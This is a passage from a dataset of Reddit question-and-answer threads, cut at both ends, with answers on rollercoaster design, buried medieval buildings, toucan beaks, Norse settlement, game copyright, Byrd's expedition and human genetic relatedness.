[], [], []]}
{"q_id": "8vqm3i", "title": "how do rollercoaster designers account for the varying weight of passengers?", "selftext": "It occurred to me that a rollercoaster in freefall would behave very differently if it was full of really skinny people as opposed to if it was full of much larger people. How do the designers account for the potentially massive difference in passenger weight?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8vqm3i/eli5how_do_rollercoaster_designers_account_for/", "answers": {"a_id": ["e1pk41u", "e1pk806", "e1pmkf0", "e1pnfcw", "e1po365", "e1popgw", "e1pqrw2", "e1pucvf", "e1pvcz4", "e1q1tuh", "e1q2l3z", "e1q6iv1", "e1qe31t", "e1qnjxv", "e1qnr43"], "score": [354, 14, 35, 25, 10, 3, 1664, 1078, 7, 2, 11, 5, 6, 2, 3], "text": ["Well, the heavy one will go a little faster, but only because the aerodynamic drag is less when compared to the mass. The acceleration of gravity stays the same regardless.\n\nIn any case the engineers will design around the biggest people they can fit in the ride, then apply a safety factor on top of that, because the forces on the structure as the car goes around a corner do increase with mass.", "People that can fit in a rollercoaster aren't of significant weight to vastly change the momentum of the multi-sectioned train of cars. Each car weighs far more than the people inside. In the few instances it could, the track is curved to accommodate the momentum of the entire train.", "There is actually a load factor applied to the live load that one manufacturer calls their overburden factor. If I recall right they were using 160lbs for the average weight of every passenger and then 200lbs for the overburden weight. They basically run their simulation with all passengers at the average and all passengers at the overburden and then design for worst case. I\u2019m not sure how their codes work because they\u2019re all overseas but in the US, that would get another 1.6 factor applied to it so you have a ton of safety cushion, not to mention the statistical odds that every single passenger is over 200 lbs simultaneously.", "Hope for the best, plan for the worst, And then add more padding.\n\nIf possible something should be designed so that weakpoints are easily inspected and repaired. Even under neglect a well designed machine ought to fail as gracefully as practicable.\n\nIf you can not afford for something to go wrong, build it like God himself is attempting to make it fail in the most spectacular manner conceiveable.", "A real eli5 for you: they take the coasters weight, they take the weight of a small elephant and use it in place of a person, and then build the structures underneath the coaster and elephant people to be able to support it. That way when you have people people, even if they themselves are the weight of a small elephant, it can still easily hold them.", "Lot of wrong or poor answers in here.\n\nOne thing people aren't mentioning is simulation and testing.  Engineering involves a lot of computer simulation and physical testing.  Factors of safety become prevalent after you understand how a system is working and are comfortable with your understanding.   If you are designing something with a unconventional new design you likely need to set up virtual tests to get some initial sense of performance such as tracking the stress at different points.  Then you physically build a test or prototype to try out your theory and simulation.  Then you build your coaster and then you run an empty ride for a long time probably also tracking those stresses to compare.  Then after you are comfortable you open the ride.", "They test the ride under two conditions: Unloaded and massively overloaded. The train has to be able to complete the ride fully with both completely empty seats and then with the scenario where each seat is loaded with 400lb crash test dummies.", "Many great points about overbuilding and simulations have been made. But I\u2019ll give an example from Disneyland. \n\nOn Space Mountain, a train needs to dispatch every 15 seconds to maintain proper separation. Because of varying weights, DAX (the dual computers tracking movement) use boosters and retarders to speed up or slow down sleds. \n\nRight after you leave the station, notice that you immediately stop. This is so the system weighs you to determine what the system needs to do to get you in the right place at the right time. \n\nAs a bonus fact, if it detects that the weight will cause a potential break zone overrun, you get diverted to the left to the maintenance bay instead of climbing the lift hill on your right. This prevents the ride from e-stopping and keeps everything running smoothly. ", "So, I see a bunch of stuff about safety so I won't go into that (mostly it's right, too). \n\nOne more aspect is this:  Intended velocity.  Depending on the weight, the ride might end up moving faster than wanted at particular points where they need to have a set speed.  There's usually an electromagnetic breaking system that, based on the speed of the coaster at that point, will slow it to the right speed.", "Actually in free fall they will behave virtually identically. It's coming out of freefall that matters, i.e. being slowed by a ramp, because the heavier car has more momentum and slams into the start of the ramp with more energy than the lighter car.", "I know nothing about engineering it anything, but I am 6'4 280 pounds. That means I am a pretty large guy and I for one can tell you larger people just don't fit. Rollercoaster we're not built for people who are tall and squat alot. My knees are always up against the seat in front of me and the safety restriants are always super tight against my shoulders because height or against my thighs because of weight. So the largest person that can fit on most rollercoaster isn't as big as you would think. ", "Everything engineers design are designed for worst case scenarios - and i mean the absolute worst case. Even if its nearly impossible.\n\nThis is because people's lives are on the line, so we make things safer than you could possibly need it to be, because the price of failure is fatal. \n\nSo for a roller coaster for example, instead of designing for a ride that can handle a load of 20 people each weighing the average of 60 kg, we say it has to handle a load of 20 people each weighting 120 kg. Even if that will almost certainly never happen.", "ELI5 Version: So you're standing at the top of the hill with your best friends Billy and Tommy. They each want to take a ride down the hill in your radio flyer wagon, because they hear it's really fun. Billy is a super skinny guy, and while Tommy is a much bigger guy, they each fit in the wagon no problem. Now you're worried about each of them making it all the way to the bottom, but then you remember this--the hill itself was made to get the wagon to the bottom with either adult-man Bob or plain empty. Sure if you put in Billy or Tommy, it might get there a little faster or slower, but that isn't your goal. Your goal is just to get them to the bottom of the hill. We always know how heavy Bob or the empty cart is--and he's as heavy as this wagon will fit--so if the hill was made so that he can make it, Billy and Tommy will too.\n\nSource: I work in attraction design. No, sorry I can't tell you where.\n\nLike others have mentioned, correctly, we test the ride unloaded and loaded to weight that represents the largest possible guest that can safely/comfortably fit in the seat. First example: One ride in particular I worked on was tested with a weight of 300 lbs per guest. Now there were a number of reasons that this was chosen, but in practice you'd be hard pressed to fit a load of 300 lb guests into one vehicle. To address the questions of \"What if the problem is a weight between best/worst case scenarios?\", it's not the real issue. Second example: When roller coasters \"valley\" (stop somewhere they're not supposed to) it is because an issue unrelated to the weight such as wind speed, ambient temperature, vehicle maintenance, or because a safety system kicked in and told it to stop. I list these causes because these are what I have seen in the field.", "This gives me a whole other question: How do rollercoaster designers test their coasters without destroying the carts or coasters? Like if they didn\u2019t do correct calculations then the track may tear off and the cart could be destroyed", "When designing for a specific sector there are standards set out by regulatory bodies that must be adhered to to make your design legal and to continue its design process.\n\nI have a friend from university who designs roller coaster rides and if I recall correctly as standard they are required to use the 95th percentile male as their target person. This means that the dimensions of this person are larger than 95% of the people in the world.\nShe would then use the materials ultimate strength to determine how her design reacts to these weights and where improvements can be made.\nUltimately it comes down to the standards set out by the regultory bodies.\nShe will always design every nut, bolt and any other component to be able to withstand the worst conditions.\n\nThis is all tested in CAD, FEA and CFD softwares.\n\nI'm a mechanical engineer for a motorcycle company in the uk, for loading a motorcycle we use the specifications of a percentile human being that is given to us in a technical brief."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7z6jdo", "title": "I live in a European city where they have found lots of old houses from the 14th century burried in the city center. At what point are those houses 1/2 burried and how do people just forget that the buildings used to exist in a location that has been constantly populated since they were built?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7z6jdo/i_live_in_a_european_city_where_they_have_found/", "answers": {"a_id": ["dulvg9v", "dulxj1i", "dum744h", "dumwz3t", "dunjiuk"], "score": [38, 1837, 30, 16, 9], "text": ["You might find u/Tiako 's top comment from this thread 4 days ago to be an answer to your question;\n\n[How do cities die? - /r/AskHistorians](_URL_0_)", "I love this question because it starts out seemingly negative (how do you lose a city?!) but ends up someplace positive: people can be amazingly resourceful.\n\nHave you seen a building torn down or imploded today so something else can be built in its place? The building becomes first a pile of rubble, then a giant hole. We haul away the rubble that was the building and its foundation. Lots of it ends up in landfills. The useful parts--wires are the big one cited--might be sorted and sold as scrap.\n\nPremodern building demolition in Europe was all about reusing what was reuseable, of course. One famous example is the piecemealing of Roman stone structures in early medieval Britain. Notre-Dame de Paris has Roman-era stone pieces in part of its foundation, and possibly some Carolingian as well. And of course, as I talk about in this cool [earlier answer](_URL_0_) the medieval city of Rome itself was largely built into or out of old Roman buildings!\n\nBut lacking a real-life Merlin to engineer exotic contraptions that could haul heavy building materials from Ireland to Stonehenge, medieval people tended to skip that \"gaping hole\" stage. It was logistically just plain easier to salvage what could be salvaged and then build the ground *up* to smooth over ruins to the point you could build a new structure. \n\nIn fact, this could become part of the building itself. In one type of construction, the ground was leveled off by packing in dirt and rubble, and the stone walls were constructed right on top of it. Otherwise, a building might be constructed around stone-and-mortar piers. A foundation trench would be dug, the pier constructed up to ground level, and the space around it packed in. From both France (Cluny) and England (London), there is evidence that in some places the use of piers was practiced in religious building in the early Middle Ages and then adopted for secular construction from the twelfth century or so.\n\n(John Schofield's excellent article \"The Construction of Medieval and Tudor Houses in London\" is available online, for anyone interested in understandable explanations of medieval construction beyond lists of basic materials. The [PDF](_URL_1_) is 41MB; caveat clickor.)\n\nSo essentially, there's not really an intermediary stage *if* a particular space is going to be continuously inhabited. For truly abandoned sites, like the cities wasted by the Mongols that didn't re-attracted residents until new settlers showed up centuries later, probably one could witness ruins half-buried in dirt deposited by wind and water. /u/kookingpot has a fabulous and fascinating post on [geoarchaeology](_URL_3_) that discusses the natural burial of old cities as well as human-caused.\n\nAs to the lack of memory? If the buildings were also demolished in the Middle Ages or the early early modern era, it doesn't surprise me at all that there's no modern memory or record of what stood there. That's just not the kind of thing recorded in city archives. We might know from tax records or a parish register or a will that someone was a shoemaker, or a draper of secondhand fabric. We don't have a street address or the deed to a building.\n\nAnd medieval (and early modern) people were pretty used to rebuilding. Medieval peasants, according to Barbara Hanawalt, built and rebuilt houses fairly frequently. In cities, fires frequently gave people no choice but to rebuild. Fear of fire was *rampant* in the Middle Ages; in handbooks for priests to help them instruct people in not sinning, arson is right next to murder as the two worst sins of Wrath. When the *libri mechanorum* gets going as a genre of literature in the 15th-16th centuries, featuring wondrous extrapolations of existing technology into helpful new machines, firefighting engines are among the most prominent. ([Here's one idea from 1594](_URL_4_)). That's to say: medieval people's experience of everyday architecture was that it was necessarily *transient*.\n\nWhich always makes me wonder what medieval pilgrims to a splendor like [Sainte-Chapelle](_URL_2_) thought. Did they believe it would last forever? Or did they see it crumbling into decay like, they believed, all matter in a fallen world ultimately must?", "If you don't mind me asking, what city do you live in? I'd like to read about the excavation and their findings.", "A related question, if I may. I\u2019m a classicist and am very familiar with the archaeological remains of Rome. But I\u2019ve always been fascinated by life among the ruins. It\u2019s a standard comment that \u201cRome turned away from the forum and towards the Vatican\u201d following the fall of the western Empire. But the ruins must have been reused. I know the forum was later used for grazing, and there\u2019s evidence of people using different ruins for stables and livestock and what\u2019s been termed the \u201crusticfication\u201d of the city. But beyond Christians reusing the ancient monuments what other evidence do we have of how people interacted with these ruined structures? ", "One of the better examples of this is the city of Rome, where you have different archaeological layers each representing a different time period in the cities development.\n\nIn the centuries after the fall of Rome, after repeated assaults from barbarians and disease took their toll, many of the inhabitants left the city. This was a metropolitan city of over a million people at its height, and by the 8th century there were less than 10,000 inhabitants living there. Since the city was so large and had been built on the assumption that there would always be slaves to care for it, it was very susceptible to ruin once there was no one left to care for the sewage and drainage systems in the city.\n\nThe Tiber floods every year (until the modern Italians built 50ft tall retaining walls to keep the water at bay). Every year this flood would deposit a millimeter of silt and detritus all over the low lying areas of the city.  The slaves would come and clean it up and life returned to normal quickly thereafter.\n\nWithout slaves and a general population to care for the city, these annual floods continued to deposit millimeter after millimeter of sediment century after century. Eventually people found themselves walking down a few flights of stairs to get to church, because it had been built 400 years prior and the ground level had risen 6 ft since then.\n\nThe best example of this is the Basilica of San Clemente in Rome. Built near the colosseum, the church sits 6 ft below modern ground level, and was built in the 900s. In the 19th century the church sponsored an excavation beneath the building and the original church from 4th century ad was uncovered. They had money left over so they kept digging and uncovered a pagan temple from the 1st century fright below that original church. \n\nAs the ground level rose around the church eventually they decided to fill in the original church with dirt, and build the new one on top. You can still see where the frescos were chopped in half as they removed the roof of the church to build the new one. \n\nRome may be a unique situation to your question but thought it fit your area of interest well"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7y7d0k/how_do_cities_die/"], ["https://www.reddit.com/r/AskHistorians/comments/7uweo1/the_city_of_rome_had_a_population_of_over_one/dto1631/", "https://www.arct.cam.ac.uk/Downloads/chs/vol7/article1.pdf", "https://blogs-images.forbes.com/ceciliarodriguez/files/2015/08/0827_FL-saint-chapelle-stained-glass_2000x1125-1152x648.jpg", "https://www.reddit.com/r/AskHistorians/comments/3bz6zp/why_did_the_romans_build_on_top_of_things/", "http://www.people.vcu.edu/~mjmurphy/history_of_science/besson_theatre/besson_fire_engine.jpg"], [], [], []]}
{"q_id": "26dgu8", "title": "Do toucans have nerves in their beaks? If so, how sensitive are they?", "selftext": "My dad just dropped a line about how dexterous his araceri toucans are despite not being able to feel the tips of their beaks. My instinct told me they probably have a pretty complex neural network in there, though, so I figured I'd ask for some clarification!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26dgu8/do_toucans_have_nerves_in_their_beaks_if_so_how/", "answers": {"a_id": ["chq369k"], "score": [6], "text": ["This is just from a quick Google search.. \n\nThe beak itself is made up of keratin, the same substance as fingernails, and is attached to the jaw bones.\u00a0 The upper part of the beak is known as the maxilla and the lower is the mandible.\u00a0 The fleshy part where the beak meets the head is called the cere, where, on the upper maxilla, the nostrils, or nares, are located.\u00a0 The beak areas closest to the head contains nerve endings and a blood supply but there is no feeling in the areas towards the tip.\u00a0 Like our fingernails, the beak is in continual growth.\n\nSource:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.birdtricks.com/blog/your-parrots-beak/"]]}
{"q_id": "28foz5", "title": "Why did the Scandinavian peoples not inhabit eastern Canada to the same extent that they inhabited Iceland, Greenland, etc.?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28foz5/why_did_the_scandinavian_peoples_not_inhabit/", "answers": {"a_id": ["cialvb1"], "score": [30], "text": ["There are several reasons for this.\n\nOne of the first is that there were quite a few people living there already - the Native Americans. As opposed to when the English, Dutch and French started colonising North America, smallpox and other diseases had not spread in America yet. Some calculate that up to 90-95% of the poeple in America died from disease from around 1500-1600. Thus, when the European arrived, there were plenty of open land and relatively little initial opposition from the Native Americans.\n\nIt has been theorised among Scandinavian scholars that the Scandinavian tradition of offering milk or sourmilk as a gesture of friendship and hospitaily could have caused the initial conflict with the natives (called Skraelings by the Scandinavians), since the natives would not have the same tolerance for milk as the Scandinavians, would have gotten stomach pains and severe runs from it and might have believed they were poisoned rather than offered hospitality.\n\nThe Scandinavians arrived to Greenland in the midst of the [Medieval Warm Period](_URL_0_) during which some agriculture was possible in Greenland.\n\nIceland was empty (there might have been a few eremite Irish monks there, but that is under debate and not well-established) when the Scandinavians arrived, so no problems there.\n\nIt was mostly the Norwegians who colonised Iceland and Greenland and Norway was especially hard-hit by the Black Death in the mid-1300s, with death tolls estimated between 50 and 75%. The alodement law allowed people to squat on vacated land and if no-one claimed it in three generations, it became the property of the squatter. This allowed all crofters and tentants of great men (Norway did not have a formal nobility) to simply move away and claim land to become self-owning when so much land was vacated due to deaths during the plague. As a result, the Norwegian great men had to revert to self-owning farmers themselves to survive, as no-one would tend their land for them. Norway was severely weakened as a state by this and became a prize fought over by the Swedes and Danes, with the Danes coming out on top and ruling Norway from 1380 to 1814 (with a few brief interruptions of local or Swedish rule).\n\nThe Danes were more interested in keeping the Kalmar Union intact and some adventures in Estonia and northern Germany than any old legends of land to the west of Greenland, although they did send an expedition in 1605 to re-assert authority and find out what happened to the Norse Greenlanders.\n\nThe Greenlanders were going to America for timber, as a ship from Greenland loaded with timber landed in Iceland 1347 after being blown off course by a storm.\n\nThe plague broke off contact between Iceland and Norway, and Greenland and the last written record of the Norse Greenlanders is a marraige conducted at the [Church of Hvalsey](_URL_1_) in 1408.\n\nSo bacially, it was far away, Greenland was decently nice back then, there were plenty of locals that resisted colonisation and then the plague happened."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Medieval_warm_period", "http://en.wikipedia.org/wiki/Church_of_Hvalsey"]]}
{"q_id": "16enap", "title": "why words with friends is not being sued by scrabble?", "selftext": "Seriously...it's the same game. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16enap/eli5_why_words_with_friends_is_not_being_sued_by/", "answers": {"a_id": ["c7vbu4a", "c7vcsy6", "c7vd125", "c7vdbr5", "c7ve8vs", "c7vea2k", "c7vqw3a"], "score": [70, 32, 36, 27, 2, 120, 2], "text": ["Hasbro probably doesn't have a patent on the concept behind the game.\n\nEdit: _URL_0_\n\n\"The board is laid out slightly differently and the letter point values are just different enough to make it hard for Scrabble to prove copyright violation.\"", "Because they don't have Apples lawyers. \n\n", "Because words with friends (the board game edition) is being made by the same company that makes Scrabble.\n\nedit: For all the downvoters, am I wrong? Hasbro makes the board game, they also make Scrabble.", "Protecting the underlying rules of a game is a very difficult thing - there's no single branch of IP law, be it copyright, patent, trademark etc which directly covers this sort of thing. Copyright could come into play if they literally used all the art from a scrabble board, but if they make it just a bit different that sort of goes out the window.\n\nNowhere is the difficulty of protecting game concepts or core game mechanics more obvious than in the world of videogames. Every year different games come out from different publishers which work nearly identically. The videogames industry is very iterative and a bit slow to innovate, and were someone to say \"Hey we own the IP rights to making games where you point a gun from a first person perspective and shoot people\" the whole damn industry might just collapse, so while it is unfortunate that we can end up with lots of games that are very clearly rip offs of other games, like words with friends, or possibly everything Zynga has ever produced, it is perhaps best in the long-run that basic game mechanics aren't really covered by any particular form of intellectual property.", "Scrabble can't actually copyright the game. There is a copyright on the art, and any \" substantial literary expression in the form\" of the directions however the actual method of playing is not copyright protected. All that is required is to explain the directions of playing in different language than Hasbro did in theirs.\nFrom the U.S. Copyright office: \"Once a game has been made public, nothing in the copyright law prevents others from developing another game based on similar principles. Copyright protects only the particular manner of an author\u2019s expression in literary, artistic, or musical form.\"\n\nEdit: My original comment was inaccurate.", "Because (in America, at least), [you cannot copyright the rules of a game](_URL_1_).\n\n > Copyright does not protect the idea for a game, its name or title, or the method or methods for playing it. Nor does copyright protect any idea, system, method, device, or trademark material involved in developing, merchandising, or playing a game. Once a game has been made public, nothing in the copyright law prevents others from developing another game based on similar principles. Copyright protects only the particular manner of an author\u2019s expression in literary, artistic, or musical form.\n\nYou could patent the rules of a game (as it would be a \"system\" or \"method\" of play), but Scrabble's patent [expired in 1970](_URL_0_).\n\nThe only legal protections Scrabble has is the exact *wording* of the rules (which you *can* copyright) and the trademark. You could create your own game just like Words With Friends or Scrabble and sell it, and they couldn't really do anything about it legally.\n\nHowever, they could still inundate you with drawn-out lawsuits to drain your money. Some companies will consider a lawsuit they'll never win as a perfectly good expense if it will bankrupt their competitor under legal fees.", "Similarly, I've always wondered how there's not been conflict between these companies:\n\n* Lays and Jays potato chip companies.\n\n* GameStop and GameSpot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.slaw.ca/2012/02/27/how-words-with-friends-is-killing-scrabble/"], [], [], [], [], ["http://home.teleport.com/~stevena/scrabble/legal/issues.html", "http://www.copyright.gov/fls/fl108.html"], []]}
{"q_id": "yvefq", "title": "Admiral Byrd's First Antarctic Expedition 1928 - 1929", "selftext": "Hi! I've been reviewing old 16mm home movies my great grandparents took during their travel while my GG-Father was in the Navy. Today we came upon a reel from 1928 - 1929 that was nothing but footage of Admiral Byrd's ship 'The City of New York' passing through the Panama Canal. I've had a difficult time trying to pinpoint the date that he passed through the canal. Does anybody know for sure? It seems like the sort of thing that would be documented somewhere but I can't find  it. Also, does anybody think this sort of footage would merit donating to the National Archives or something of that nature? It seems like this would be something interesting worth properly conserving, unless of course there is a great deal of footage of the canal crossing.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/yvefq/admiral_byrds_first_antarctic_expedition_1928_1929/", "answers": {"a_id": ["c5z68fv"], "score": [3], "text": ["Some time between 25 August 1928, when she departed NY, and 26 November 1928, when she arrived in New Zealand: _URL_0_\n\nApologies if you had that date range in mind already."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.hazegray.org/features/cityofny/"]]}
{"q_id": "mpnhg", "title": "How closely related any two people on average?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mpnhg/how_closely_related_any_two_people_on_average/", "answers": {"a_id": ["c32uvkg", "c32vgdz", "c3304pb", "c32uvkg", "c32vgdz", "c3304pb"], "score": [1601, 3, 2, 1601, 3, 2], "text": ["You probably have no idea how complicated of a question you've just asked. So complicated that I've had a really hard time typing up the following response, and have typed things out and deleted them a number of times (I probably typed about twice as many words as you're seeing). There are two different ways to approach this question. You could be asking something along the lines of \n\n >  How far back would I have to go before I share a \"bloodline\" individual ancestor with another individual randomly drawn from the population.\n\nTo answer:\n\nFirst off, there's significant heterogeneity because different populations have different degrees of relatedness. Say we draw two random humans alive today, and we get one [San Bushman](_URL_6_), and one European. Those populations diverged from one another ~150,000 years ago, so those two individuals aren't going to share a common ancestor until at least 150,000 years back. Say we get one European and one Asian. These populations have been separated for about 30,000 years, so they're unlikely to share any ancestors during that period.\n\nThe thing is, the previous statement is likely false. It's entirely possible that some early european many thousands of years ago migrated east, and mated with someone in the middle east. That mating could, over the course of just a handfull of generations, lead to an astronomically high number of descendants. (If you have two kids, and each of them have two kids, and each of them have two kids, and each of them has two kids, it doesn't take very long before everyone in the population can claim you as an ancestor.) If just one or a few of those descendants migrates south into Africa (or east into Asia), they could, within a few generations, be claimed as an ancestor to almost all of the individuals living in whatever population they mated into. This only has to happen once for it to be true that the most recent common ancestor of all individuals across the two populations lived only a few thousand years ago, maybe even less. \n\nThe process doesn't necessarily happen in giant leaps as I've portrayed it. It's probably much more of a slow wave of relatedness diffusing across the landscape as people migrated back and forth just a handful of miles at a time over the course of the generations. In fact, we in population genetics actually use [the exact same sort of equation](_URL_0_) to model the diffusion of genes across a population over time as physicists use to [model diffusion of heat](_URL_2_) across space over the course of time. \n\n**So the massively oversimplified answer is that most people probably share a common ancestor within the last few thousand years, with members of very divergent populations (say, Native Americans and San Bushmen) possibly being much more distant, and members of the same population (say, British people), all sharing a common ancestor within the last few hundred years)**\n\n\nUnfortunately, it's pretty much impossible to actually reconstruct with certainty patterns of relatedness more than just a handful of generations back from genetic data. There are probably estimates out there, but I don't know them, because relatedness at the genetic level gets really complicated (and thus they're not terribly relevant to *genetic relatedness*, which is a much more interesting question, in my opinion).\n\nConsider:\n\nIf you have a sibling, on average you will share 50% of your genetic makeup. If you have a first cousin, on average you share 12.5% of your genetic makeup. If you have a second cousin, you will, on average, share 3.125% of your genetic makeup. If you keep going back farther and farther (third cousin, fourth cousin, fifth cousin, etc.), this number gets closer and closer to zero very quickly. But that number is just an average, and it has a variance which is decidedly non-zero. So that means that plenty of 10th cousins won't share any genetic material at all from the common ancestor from which they are 10th cousins. No [alleles](_URL_1_) will have survived from one generation to the next in both lineages simultaneously such that they actually share genes \"identical by descent\", (as we say in population genetics) from that ancestor. They may be 8th cousins via a different common ancestor, and 13th cousins via another, and 13th cousins again via a different route and they may share some genetic material via those relationships (or not), but it's entirely possible that they may not share any genetic material via that 10th cousin relationship that they have. Alternatively, it's entirely possible that two individuals could be 20th cousins via one common ancestor, and may actually happen to share genetic material via that relationship, but might not share any genetic material via a 10th cousin relationship that they have.\n\nBasically, it all comes down to the fact that this stuff is highly stochastic (random), so there's a lot of variance in how closely related any two individuals are at a particular genetic loci.\n\nMuch of the above (and the below) is derived from something called [coalescent theory](_URL_4_), which I'm now discovering is incredibly hard to explain in such a way that someone who's not a population genetic PhD student will follow. So, I'm going to do something I don't normally do, and offer an answer without a proper explanation, because I really don't know how to offer an explanation without saying \"go read this textbook\" (for the brave/statistically inclined [Hudson, 1991](_URL_3_) is a good place to start, but you're going to need a good genetics or statistics foundation):\n\nYou and your sibling share, on average, 50% of your genetic material \"Identical by descent\" from your parents. That means that if you pick a random DNA base pair, at 50% of them you will have received the same base pair at the same locus from the same parent. These base pairs are \"identical by descent with respect to your parents\". At the vast majority of the other base pairs in the genome you will also have identical base pairs (that is if they have an A, you will also have an A, if they have a G, you will also have a G), however. This is because your parents already shared identical base pairs at this location, because those base pairs are \"identical by descent\" with respect to some distant relative that your parents share (and because there's been no mutation on the lineage leading to your parents from that common ancestor in order to make them different).\n\nSo the truly remarkable thing is that you if you draw two random individuals from the same population (i.e. European, Asian, Native American, one of any number of African populations), and assume a historic population size of 10,000 (which is fairly accurate for most ancient human populations prior to the population explosion of the last few thousand years), at any particular place in the genome, on average, you have to go back 20,000 generations (or 400,000 years) to find the ancestor with respect to which those two individuals are \"identical by descent\". The standard deviation of this estimate is itself 20,000 generations, however, so it's just incredibly variable. This is true *independently* for different loci across the genome, as the process of [genetic recombination](_URL_5_) (and [independent assortment](_URL_7_) among chromosomes) causes different loci to have independent histories in the population.\n\nThis means that the relatedness of any two individuals is highly variable across different parts of their genome. So we come to the very counter intuitive, but nonetheless true, conclusion that most individuals share a \"bloodline\" most recent common ancestor that lived not long ago at all, but don't actually share much genetic material via that particular relationship, and at the vast majority of genetic loci likely don't have a common ancestor until many hundreds of thousands of years ago.\n\nOk, phew. I hope that was at least somewhat understandable.\n\n*edit: another super simple way to talk about it that I should have put in last night is that on average any two human beings drawn from the population will differ at about 1 in a 1000 DNA bases. This is something that we can empirically observe, ~~but which doesn't necessarily tell us all that much about patterns of \"relatedness\" in the terms I've discussed above. So it's really just a measure of how genetically \"similar\" two people are, and not how \"related\".~~ Eh, I would say that was a misstatement. It actually is a statement about average relatedness, which is indeed what the OP was asking about. It's just that that figure leaves out all of the interesting information about how variable relatedness is across different parts of the genome, which I guess is why I saw fit to launch into this ridiculously long explanation.*", "Could this question also be put into the context of how many shared genes do the average two people have?  If your statement of \"If you have a sibling, on average you will share 50% of your genetic makeup. If you have a first cousin, on average you share 12.5% of your genetic makeup.\"  were entirely true wouldn't everyone look drastically different and have to have major changes in biochemical functions?\n\nYou could also approach this from the human metagenome relatedness comparison, but it would be difficult because this hasn't been used broadly yet.", "Here is a nice handy number.\n\n >    In fact, eleventh cousins is a pretty low degree of relatedness, by the standard of these things. A study of inbreeding in European populations found that couples from the UK are, on average, as genetically related as 6th cousins\n\n_URL_0_\n\nThe paper he cites from is linked within the text above, and contains other ethnicities as well.", "You probably have no idea how complicated of a question you've just asked. So complicated that I've had a really hard time typing up the following response, and have typed things out and deleted them a number of times (I probably typed about twice as many words as you're seeing). There are two different ways to approach this question. You could be asking something along the lines of \n\n >  How far back would I have to go before I share a \"bloodline\" individual ancestor with another individual randomly drawn from the population.\n\nTo answer:\n\nFirst off, there's significant heterogeneity because different populations have different degrees of relatedness. Say we draw two random humans alive today, and we get one [San Bushman](_URL_6_), and one European. Those populations diverged from one another ~150,000 years ago, so those two individuals aren't going to share a common ancestor until at least 150,000 years back. Say we get one European and one Asian. These populations have been separated for about 30,000 years, so they're unlikely to share any ancestors during that period.\n\nThe thing is, the previous statement is likely false. It's entirely possible that some early european many thousands of years ago migrated east, and mated with someone in the middle east. That mating could, over the course of just a handfull of generations, lead to an astronomically high number of descendants. (If you have two kids, and each of them have two kids, and each of them have two kids, and each of them has two kids, it doesn't take very long before everyone in the population can claim you as an ancestor.) If just one or a few of those descendants migrates south into Africa (or east into Asia), they could, within a few generations, be claimed as an ancestor to almost all of the individuals living in whatever population they mated into. This only has to happen once for it to be true that the most recent common ancestor of all individuals across the two populations lived only a few thousand years ago, maybe even less. \n\nThe process doesn't necessarily happen in giant leaps as I've portrayed it. It's probably much more of a slow wave of relatedness diffusing across the landscape as people migrated back and forth just a handful of miles at a time over the course of the generations. In fact, we in population genetics actually use [the exact same sort of equation](_URL_0_) to model the diffusion of genes across a population over time as physicists use to [model diffusion of heat](_URL_2_) across space over the course of time. \n\n**So the massively oversimplified answer is that most people probably share a common ancestor within the last few thousand years, with members of very divergent populations (say, Native Americans and San Bushmen) possibly being much more distant, and members of the same population (say, British people), all sharing a common ancestor within the last few hundred years)**\n\n\nUnfortunately, it's pretty much impossible to actually reconstruct with certainty patterns of relatedness more than just a handful of generations back from genetic data. There are probably estimates out there, but I don't know them, because relatedness at the genetic level gets really complicated (and thus they're not terribly relevant to *genetic relatedness*, which is a much more interesting question, in my opinion).\n\nConsider:\n\nIf you have a sibling, on average you will share 50% of your genetic makeup. If you have a first cousin, on average you share 12.5% of your genetic makeup. If you have a second cousin, you will, on average, share 3.125% of your genetic makeup. If you keep going back farther and farther (third cousin, fourth cousin, fifth cousin, etc.), this number gets closer and closer to zero very quickly. But that number is just an average, and it has a variance which is decidedly non-zero. So that means that plenty of 10th cousins won't share any genetic material at all from the common ancestor from which they are 10th cousins. No [alleles](_URL_1_) will have survived from one generation to the next in both lineages simultaneously such that they actually share genes \"identical by descent\", (as we say in population genetics) from that ancestor. They may be 8th cousins via a different common ancestor, and 13th cousins via another, and 13th cousins again via a different route and they may share some genetic material via those relationships (or not), but it's entirely possible that they may not share any genetic material via that 10th cousin relationship that they have. Alternatively, it's entirely possible that two individuals could be 20th cousins via one common ancestor, and may actually happen to share genetic material via that relationship, but might not share any genetic material via a 10th cousin relationship that they have.\n\nBasically, it all comes down to the fact that this stuff is highly stochastic (random), so there's a lot of variance in how closely related any two individuals are at a particular genetic loci.\n\nMuch of the above (and the below) is derived from something called [coalescent theory](_URL_4_), which I'm now discovering is incredibly hard to explain in such a way that someone who's not a population genetic PhD student will follow. So, I'm going to do something I don't normally do, and offer an answer without a proper explanation, because I really don't know how to offer an explanation without saying \"go read this textbook\" (for the brave/statistically inclined [Hudson, 1991](_URL_3_) is a good place to start, but you're going to need a good genetics or statistics foundation):\n\nYou and your sibling share, on average, 50% of your genetic material \"Identical by descent\" from your parents. That means that if you pick a random DNA base pair, at 50% of them you will have received the same base pair at the same locus from the same parent. These base pairs are \"identical by descent with respect to your parents\". At the vast majority of the other base pairs in the genome you will also have identical base pairs (that is if they have an A, you will also have an A, if they have a G, you will also have a G), however. This is because your parents already shared identical base pairs at this location, because those base pairs are \"identical by descent\" with respect to some distant relative that your parents share (and because there's been no mutation on the lineage leading to your parents from that common ancestor in order to make them different).\n\nSo the truly remarkable thing is that you if you draw two random individuals from the 